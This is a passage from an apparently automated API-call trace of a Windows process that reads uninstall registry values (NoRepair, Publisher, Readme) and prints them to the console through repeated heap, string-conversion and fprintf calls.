lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRepair", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.222] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.222] GetProcessHeap () returned 0x3c0000 [0150.222] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.222] GetProcessHeap () returned 0x3c0000 [0150.223] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.223] GetProcessHeap () returned 0x3c0000 [0150.223] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.223] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.223] __iob_func () returned 0x7fefd702a80 [0150.223] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.223] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.223] _fileno (_File=0x7fefd702ab0) returned 1 [0150.223] _errno () returned 0x204bb0 [0150.223] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.223] _errno () returned 0x204bb0 [0150.223] GetFileType (hFile=0x50) returned 0x1 [0150.223] lstrlenW (lpString=" ") returned 4 [0150.223] GetConsoleOutputCP () returned 0x1b5 [0150.223] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.223] GetConsoleOutputCP () returned 0x1b5 [0150.223] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.223] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.223] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.223] lstrlenW (lpString="NoRepair") returned 8 [0150.223] __iob_func () returned 0x7fefd702a80 [0150.223] _fileno (_File=0x7fefd702ab0) returned 1 [0150.223] _errno () returned 0x204bb0 [0150.223] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.223] _errno () returned 0x204bb0 [0150.223] GetFileType (hFile=0x50) returned 0x1 [0150.223] lstrlenW (lpString="NoRepair") returned 8 [0150.224] GetConsoleOutputCP () returned 0x1b5 [0150.224] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.224] GetConsoleOutputCP () returned 0x1b5 [0150.224] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRepair", lpUsedDefaultChar=0x0) returned 8 [0150.224] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.224] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.224] __iob_func () returned 0x7fefd702a80 [0150.224] _fileno (_File=0x7fefd702ab0) returned 1 [0150.224] _errno () returned 0x204bb0 [0150.224] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.224] _errno () returned 0x204bb0 [0150.224] GetFileType (hFile=0x50) returned 0x1 [0150.224] lstrlenW (lpString=" ") returned 4 [0150.224] GetConsoleOutputCP () returned 0x1b5 [0150.224] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.224] GetConsoleOutputCP () returned 0x1b5 [0150.224] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.224] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.224] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.225] __iob_func () returned 0x7fefd702a80 [0150.225] _fileno (_File=0x7fefd702ab0) returned 1 [0150.225] _errno () returned 0x204bb0 [0150.225] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.225] _errno () returned 0x204bb0 [0150.225] GetFileType (hFile=0x50) returned 0x1 [0150.225] lstrlenW (lpString="REG_DWORD") returned 9 [0150.225] GetConsoleOutputCP () returned 0x1b5 [0150.225] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.225] GetConsoleOutputCP () returned 0x1b5 [0150.225] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.225] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.225] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.225] __iob_func () returned 0x7fefd702a80 [0150.225] _fileno (_File=0x7fefd702ab0) returned 1 [0150.225] _errno () returned 0x204bb0 [0150.225] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.225] _errno () returned 0x204bb0 [0150.225] GetFileType (hFile=0x50) returned 0x1 [0150.225] lstrlenW (lpString=" ") returned 4 [0150.225] GetConsoleOutputCP () returned 0x1b5 [0150.225] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.226] GetConsoleOutputCP () returned 0x1b5 [0150.226] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.226] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.226] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.226] __iob_func () returned 0x7fefd702a80 [0150.226] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.226] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.226] _fileno (_File=0x7fefd702ab0) returned 1 [0150.226] _errno () returned 0x204bb0 [0150.226] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.226] _errno () returned 0x204bb0 [0150.226] GetFileType (hFile=0x50) returned 0x1 [0150.226] lstrlenW (lpString="0x1") returned 3 [0150.226] GetConsoleOutputCP () returned 0x1b5 [0150.226] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.226] GetConsoleOutputCP () returned 0x1b5 [0150.226] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.226] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.226] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.226] __iob_func () returned 0x7fefd702a80 [0150.226] _fileno (_File=0x7fefd702ab0) returned 1 [0150.226] _errno () returned 0x204bb0 [0150.226] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.227] _errno () returned 0x204bb0 [0150.227] GetFileType (hFile=0x50) returned 0x1 [0150.227] lstrlenW (lpString="\n") returned 1 [0150.227] GetConsoleOutputCP () returned 0x1b5 [0150.227] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.227] GetConsoleOutputCP () returned 0x1b5 [0150.227] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.227] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.227] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.227] GetProcessHeap () returned 0x3c0000 [0150.227] GetProcessHeap () returned 0x3c0000 [0150.227] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.227] GetProcessHeap () returned 0x3c0000 [0150.227] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.227] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.227] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.227] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2e) returned 0x0 [0150.227] GetProcessHeap () returned 0x3c0000 [0150.227] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x30) returned 0x3d78d0 [0150.227] GetProcessHeap () returned 0x3c0000 [0150.227] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0150.227] GetProcessHeap () returned 0x3c0000 [0150.227] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x30 [0150.227] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d78d0, pcbData=0x29f780*=0x2e | out: pdwType=0x29f700*=0x1, pvData="Microsoft Corporation", pcbData=0x29f780*=0x2c) returned 0x0 [0150.227] __iob_func () returned 0x7fefd702a80 [0150.228] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.228] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.228] _fileno (_File=0x7fefd702ab0) returned 1 [0150.228] _errno () returned 0x204bb0 [0150.228] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.228] _errno () returned 0x204bb0 [0150.228] GetFileType (hFile=0x50) returned 0x1 [0150.228] lstrlenW (lpString=" ") returned 4 [0150.228] GetConsoleOutputCP () returned 0x1b5 [0150.228] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.228] GetConsoleOutputCP () returned 0x1b5 [0150.228] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.228] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.228] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.228] lstrlenW (lpString="Publisher") returned 9 [0150.228] __iob_func () returned 0x7fefd702a80 [0150.228] _fileno (_File=0x7fefd702ab0) returned 1 [0150.228] _errno () returned 0x204bb0 [0150.228] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.228] _errno () returned 0x204bb0 [0150.228] GetFileType (hFile=0x50) returned 0x1 [0150.228] lstrlenW (lpString="Publisher") returned 9 [0150.228] GetConsoleOutputCP () returned 0x1b5 [0150.228] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.229] GetConsoleOutputCP () returned 0x1b5 [0150.229] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0150.229] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.229] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.229] __iob_func () returned 0x7fefd702a80 [0150.229] _fileno (_File=0x7fefd702ab0) returned 1 [0150.229] _errno () returned 0x204bb0 [0150.229] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.229] _errno () returned 0x204bb0 [0150.229] GetFileType (hFile=0x50) returned 0x1 [0150.229] lstrlenW (lpString=" ") returned 4 [0150.229] GetConsoleOutputCP () returned 0x1b5 [0150.229] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.229] GetConsoleOutputCP () returned 0x1b5 [0150.229] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.229] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.229] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.229] __iob_func () returned 0x7fefd702a80 [0150.229] _fileno (_File=0x7fefd702ab0) returned 1 [0150.229] _errno () returned 0x204bb0 [0150.229] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.229] _errno () returned 0x204bb0 [0150.229] GetFileType (hFile=0x50) returned 0x1 [0150.230] lstrlenW (lpString="REG_SZ") returned 6 [0150.230] GetConsoleOutputCP () returned 0x1b5 [0150.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.230] GetConsoleOutputCP () returned 0x1b5 [0150.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.230] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.230] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.230] __iob_func () returned 0x7fefd702a80 [0150.230] _fileno (_File=0x7fefd702ab0) returned 1 [0150.230] _errno () returned 0x204bb0 [0150.230] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.230] _errno () returned 0x204bb0 [0150.230] GetFileType (hFile=0x50) returned 0x1 [0150.230] lstrlenW (lpString=" ") returned 4 [0150.230] GetConsoleOutputCP () returned 0x1b5 [0150.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.230] GetConsoleOutputCP () returned 0x1b5 [0150.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.230] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.230] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.231] __iob_func () returned 0x7fefd702a80 [0150.231] _fileno (_File=0x7fefd702ab0) returned 1 [0150.231] _errno () returned 0x204bb0 [0150.231] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.231] _errno () returned 0x204bb0 [0150.231] GetFileType (hFile=0x50) returned 0x1 [0150.231] lstrlenW (lpString="Microsoft Corporation") returned 21 [0150.231] GetConsoleOutputCP () returned 0x1b5 [0150.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0150.231] GetConsoleOutputCP () returned 0x1b5 [0150.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0150.231] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0150.231] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.231] __iob_func () returned 0x7fefd702a80 [0150.231] _fileno (_File=0x7fefd702ab0) returned 1 [0150.231] _errno () returned 0x204bb0 [0150.231] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.231] _errno () returned 0x204bb0 [0150.231] GetFileType (hFile=0x50) returned 0x1 [0150.231] lstrlenW (lpString="\n") returned 1 [0150.231] GetConsoleOutputCP () returned 0x1b5 [0150.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.232] GetConsoleOutputCP () returned 0x1b5 [0150.232] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.232] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.232] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.232] GetProcessHeap () returned 0x3c0000 [0150.232] GetProcessHeap () returned 0x3c0000 [0150.232] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0150.232] GetProcessHeap () returned 0x3c0000 [0150.232] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x30 [0150.232] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0150.232] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.232] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.232] GetProcessHeap () returned 0x3c0000 [0150.232] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.232] GetProcessHeap () returned 0x3c0000 [0150.232] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.232] GetProcessHeap () returned 0x3c0000 [0150.232] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.232] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.232] __iob_func () returned 0x7fefd702a80 [0150.232] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.232] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.232] _fileno (_File=0x7fefd702ab0) returned 1 [0150.232] _errno () returned 0x204bb0 [0150.232] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.232] _errno () returned 0x204bb0 [0150.232] GetFileType (hFile=0x50) returned 0x1 [0150.232] lstrlenW (lpString=" ") returned 4 [0150.232] GetConsoleOutputCP () returned 0x1b5 [0150.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.233] GetConsoleOutputCP () returned 0x1b5 [0150.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.233] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.233] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.233] lstrlenW (lpString="Readme") returned 6 [0150.233] __iob_func () returned 0x7fefd702a80 [0150.233] _fileno (_File=0x7fefd702ab0) returned 1 [0150.233] _errno () returned 0x204bb0 [0150.233] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.233] _errno () returned 0x204bb0 [0150.233] GetFileType (hFile=0x50) returned 0x1 [0150.233] lstrlenW (lpString="Readme") returned 6 [0150.233] GetConsoleOutputCP () returned 0x1b5 [0150.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.233] GetConsoleOutputCP () returned 0x1b5 [0150.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0150.233] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.233] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.234] __iob_func () returned 0x7fefd702a80 [0150.234] _fileno (_File=0x7fefd702ab0) returned 1 [0150.234] _errno () returned 0x204bb0 [0150.234] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.234] _errno () returned 0x204bb0 [0150.234] GetFileType (hFile=0x50) returned 0x1 [0150.234] lstrlenW (lpString=" ") returned 4 [0150.234] GetConsoleOutputCP () returned 0x1b5 [0150.234] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.234] GetConsoleOutputCP () returned 0x1b5 [0150.234] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.234] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.234] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.234] __iob_func () returned 0x7fefd702a80 [0150.234] _fileno (_File=0x7fefd702ab0) returned 1 [0150.234] _errno () returned 0x204bb0 [0150.234] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.234] _errno () returned 0x204bb0 [0150.234] GetFileType (hFile=0x50) returned 0x1 [0150.234] lstrlenW (lpString="REG_SZ") returned 6 [0150.234] GetConsoleOutputCP () returned 0x1b5 [0150.234] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.234] GetConsoleOutputCP () returned 0x1b5 [0150.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.235] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.235] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.235] __iob_func () returned 0x7fefd702a80 [0150.235] _fileno (_File=0x7fefd702ab0) returned 1 [0150.235] _errno () returned 0x204bb0 [0150.235] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.235] _errno () returned 0x204bb0 [0150.235] GetFileType (hFile=0x50) returned 0x1 [0150.235] lstrlenW (lpString=" ") returned 4 [0150.235] GetConsoleOutputCP 